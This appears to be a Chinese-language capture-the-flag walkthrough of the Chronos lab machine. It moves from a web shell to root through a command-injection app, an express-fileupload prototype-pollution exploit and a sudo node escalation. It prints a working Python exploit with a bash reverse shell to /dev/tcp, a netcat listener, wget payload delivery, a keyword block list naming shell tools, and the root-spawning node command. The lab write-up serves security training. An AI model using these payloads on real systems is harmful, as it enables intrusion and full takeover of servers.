www-data@chronos:/home$ ls
ls
imera
www-data@chronos:/home$ cd imera
cd imera
www-data@chronos:/home/imera$ ls
ls
user.txt
- 我们发现一个名为
imera
的用户 - 在
imera
目录中发现有一个user.txt
- 但我们没有权限查看
简单的信息收集完后,下一步,我们应该尝试提权,我们可以回到最初的目录文件简单查看一番
www-data@chronos:/opt/chronos$ ls -alh
ls -alh
total 60K
drwxr-xr-x 3 www-data www-data 4.0K Oct 26 01:34 .
drwxr-xr-x 4 root root 4.0K Jul 30 2021 ..
-rw-r--r-- 1 www-data www-data 1.4K Aug 3 2021 app.js
-rw-r--r-- 1 www-data www-data 45 Oct 26 01:36 a.sh
drwxr-xr-x 56 www-data www-data 4.0K Jul 30 2021 node_modules
-rw-r--r-- 1 www-data www-data 97 Jul 30 2021 package.json
-rw-r--r-- 1 www-data www-data 33K Jul 30 2021 package-lock.json
- 我们应该处在某个 Web 应用的目录中,之前端口查看时知道是使用
Node.js
技术,可以推断出此程序是其开发的 - 对于 Node.js 应用,我们应该关注
package.json
文件,它是管理包依赖已经应用配置信息的文件
探索当前的 Node.js 应用
www-data@chronos:/opt/chronos$ cat package.json
cat package.json
{
"dependencies": {
"bs58": "^4.0.1",
"cors": "^2.8.5",
"express": "^4.17.1"
}
}
-
dependencies 是一个蕴含依赖包名的数组对象
-
我们就可以从其引入的三个包下手,查它们存在的漏洞
- bs58 眼熟吗?想到前面的 base58 加密了吗?对于它想提升权限帮助不大
- cors 模块解析 作用 主要用来解决客户端请求与服务端的跨域问题,对于它想提升权限帮助不大
- express 相较于原生的http模块做了较好的扩展工作,让开发者可以高效地进行服务器业务开发,对于有用漏洞就应该存在于此
查看 app.js 了解其运行流程
// created by alienum for Penetration Testing
const express = require('express');
const { exec } = require("child_process");
const bs58 = require('bs58');
const app = express();
const port = 8000;
const cors = require('cors');
app.use(cors());
app.get('/', (req,res) =>{
res.sendFile("/var/www/html/index.html");
});
app.get('/date', (req, res) => {
var agent = req.headers['user-agent'];
var cmd = 'date '; // 开始构建命令语句
const format = req.query.format;
const bytes = bs58.decode(format);
var decoded = bytes.toString();
var concat = cmd.concat(decoded);
if (agent === 'Chronos') {
if (concat.includes('id') || concat.includes('whoami') || concat.includes('python') || concat.includes('nc') || concat.includes('bash') || concat.includes('php') || concat.includes('which') || concat.includes('socat')) {
res.send("Something went wrong");
}
// 执行命令,利用关键
exec(concat, (error, stdout, stderr) => {
if (error) {
console.log(`error: ${error.message}`);
return;
}
if (stderr) {
console.log(`stderr: ${stderr}`);
return;
}
res.send(stdout);
});
}
else{
res.send("Permission Denied");
}
})
app.listen(port,() => {
console.log(`Server running at ${port}`);
})
- 发现之前漏洞注入的关键就在此处
concat
变量,是构建的 shell 命令 - 可以是此应用依旧是以此用户创建的,权限有限
我们到上层目录查看一下 /opt
还有没有其他应用
www-data@chronos:/opt/chronos$ ls -alh /opt
ls -alh /opt
total 16K
drwxr-xr-x 4 root root 4.0K Jul 30 2021 .
drwxr-xr-x 23 root root 4.0K Jul 29 2021 ..
drwxr-xr-x 3 www-data www-data 4.0K Oct 26 01:34 chronos
drwxr-xr-x 4 root root 4.0K Aug 3 2021 chronos-v2
www-data@chronos:/opt/chronos$ ls -alh /opt/chronos-v2
ls -alh /opt/chronos-v2
total 20K
drwxr-xr-x 4 root root 4.0K Aug 3 2021 .
drwxr-xr-x 4 root root 4.0K Jul 30 2021 ..
drwxr-xr-x 3 root root 4.0K Aug 3 2021 backend
drwxr-xr-x 3 root root 4.0K Aug 3 2021 frontend
-rw-r--r-- 1 root root 381 Aug 3 2021 index.html
www-data@chronos:/opt/chronos$ ls -alh /opt/chronos-v2/backend
ls -alh /opt/chronos-v2/backend
total 64K
drwxr-xr-x 3 root root 4.0K Aug 3 2021 .
drwxr-xr-x 4 root root 4.0K Aug 3 2021 ..
drwxr-xr-x 71 root root 4.0K Aug 3 2021 node_modules
-rw-r--r-- 1 root root 296 Jul 29 2021 package.json
-rw-r--r-- 1 root root 43K Aug 3 2021 package-lock.json
-rw-r--r-- 1 root root 505 Aug 3 2021 server.js
- 发现存在一个名称与
chronos
很像的应用chronos-v2
而且它是 root 权限 - 在
/opt/chronos-v2
核实雀实是一个 Web 应用,它有两个目录从名称上是后端与前端的意思 - 重点是
backend
后端,其中目录结构与/opt/chronos
十分相似
分别查看 package.json
和 server.js
{
"name": "some-website",
"version": "1.0.0",
"description": "",
"main": "server.js",
"scripts": {
"start": "node server.js"
},
"author": "",
"license": "ISC",
"dependencies": {
"ejs": "^3.1.5",
"express": "^4.17.1",
"express-fileupload": "^1.1.7-alpha.3"
}
}
const express = require('express');
const fileupload = require("express-fileupload");
const http = require('http')
const app = express();
app.use(fileupload({ parseNested: true }));
app.set('view engine', 'ejs');
app.set('views', "/opt/chronos-v2/frontend/pages");
app.get('/', (req, res) => {
res.render('index')
});
const server = http.Server(app);
const addr = "127.0.0.1"
const port = 8080;
server.listen(port, addr, () => {
console.log('Server listening on ' + addr + ' port ' + port);
})
-
package.json
指明了服务端运作文件是server.js
涉及三个模块- ejs 模块是嵌入式 JavaScript 模板引擎
- express 与之前相同
- express-fileupload 模块 express 框架下使用的中间件,用于文件上传
-
server.js
显示运行时监听的是靶机的本地127.0.0.1
8080 端口
通过网络搜查发现漏洞关键是 express-fileupload 的中,关于漏洞的原博客 https://blog.p6.is/Real-World-JS-1/
其中对漏洞利用的 Python 脚本
import requests
# 是 Kali 的监听端口及IP
cmd = 'bash -c "bash -i &> /dev/tcp/192.168.56.111/5555 0>&1"'
# 其中 IP 与端口是 server.js 中的
# pollute
requests.post(
'http://127.0.0.1:8080',
files = {'__proto__.outputFunctionName': (
None, f"x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x")
}
)
# execute command
requests.get('http://127.0.0.1:8080')
-
注意对脚本的内容做修改,并且脚本是在靶机上执行
-
可以通过在 Kali 上使用 python3 的 http.server 然后在靶机上通过 wget 下载
www-data@chronos:/opt/chronos$ cd /tmp cd /tmp www-data@chronos:/tmp$ ls ls systemd-private-b18aa97a388a4208b11b80f093956ed0-apache2.service-VKV6aU systemd-private-b18aa97a388a4208b11b80f093956ed0-systemd-resolved.service-9ejNK3 systemd-private-b18aa97a388a4208b11b80f093956ed0-systemd-timesyncd.service-5S27fr www-data@chronos:/tmp$ wget http://192.168.56.111/exp.py wget http://192.168.56.111/exp.py --2022-10-26 05:18:08-- http://192.168.56.111/exp.py Connecting to 192.168.56.111:80... connected. HTTP request sent, awaiting response... 200 OK Length: 391 [text/x-python] Saving to: ‘exp.py’ 0K 100% 395K=0.001s 2022-10-26 05:18:08 (395 KB/s) - ‘exp.py’ saved [391/391] www-data@chronos:/tmp$ ls ls exp.py systemd-private-b18aa97a388a4208b11b80f093956ed0-apache2.service-VKV6aU systemd-private-b18aa97a388a4208b11b80f093956ed0-systemd-resolved.service-9ejNK3 systemd-private-b18aa97a388a4208b11b80f093956ed0-systemd-timesyncd.service-5S27fr
在执行脚本前,我们先开起kali 的 netcat 监听
┌──(kali㉿kali)-[~]
└─$ netcat -lvp 5555
listening on [any] 5555 ...
connect to [192.168.56.111] from chronos.local [192.168.56.113] 59462
bash: cannot set terminal process group (777): Inappropriate ioctl for device
bash: no job control in this shell
imera@chronos:/opt/chronos-v2/backend$ ls
ls
node_modules
package.json
package-lock.json
server.js
imera@chronos:/opt/chronos-v2/backend$ cd ~
cd ~
imera@chronos:~$ ls
ls
user.txt
imera@chronos:~$ cat user.txt
cat user.txt
byBjaHJvbm9zIHBlcm5hZWkgZmlsZSBtb3UK
imera@chronos:~$
- 发现获取的是 chronos
- 那么我们可以查看一下之前的 user.txt 文件
看来我们需要进行二段提取,我们通过使用 sudo -l
imera@chronos:~$ sudo -l
sudo -l
Matching Defaults entries for imera on chronos:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User imera may run the following commands on chronos:
(ALL) NOPASSWD: /usr/local/bin/npm *
(ALL) NOPASSWD: /usr/local/bin/node *
- 此处我们可以使用 node 进行提权
使用 sudo node -e 'child_process.spawn("/bin/bash", {stdio: [0, 1, 2]})'
imera@chronos:~$ sudo node -e 'child_process.spawn("/bin/bash", {stdio: [0, 1, 2]})'
<ild_process.spawn("/bin/bash", {stdio: [0, 1, 2]})'
id
uid=0(root) gid=0(root) groups=0(root)
第二个 flag
cd /root
ls
root.txt
cat root.txt
YXBvcHNlIHNpb3BpIG1hemV1b3VtZSBvbmVpcmEK
完成
两个 flag
byBjaHJvbm9zIHBlcm5hZWkgZmlsZSBtb3UK
YXBvcHNlIHNpb3BpIG1hemV1b3VtZSBvbmVpcmEK
解密
o chronos pernaei file mou.
apopse siopi mazeuoume oneira.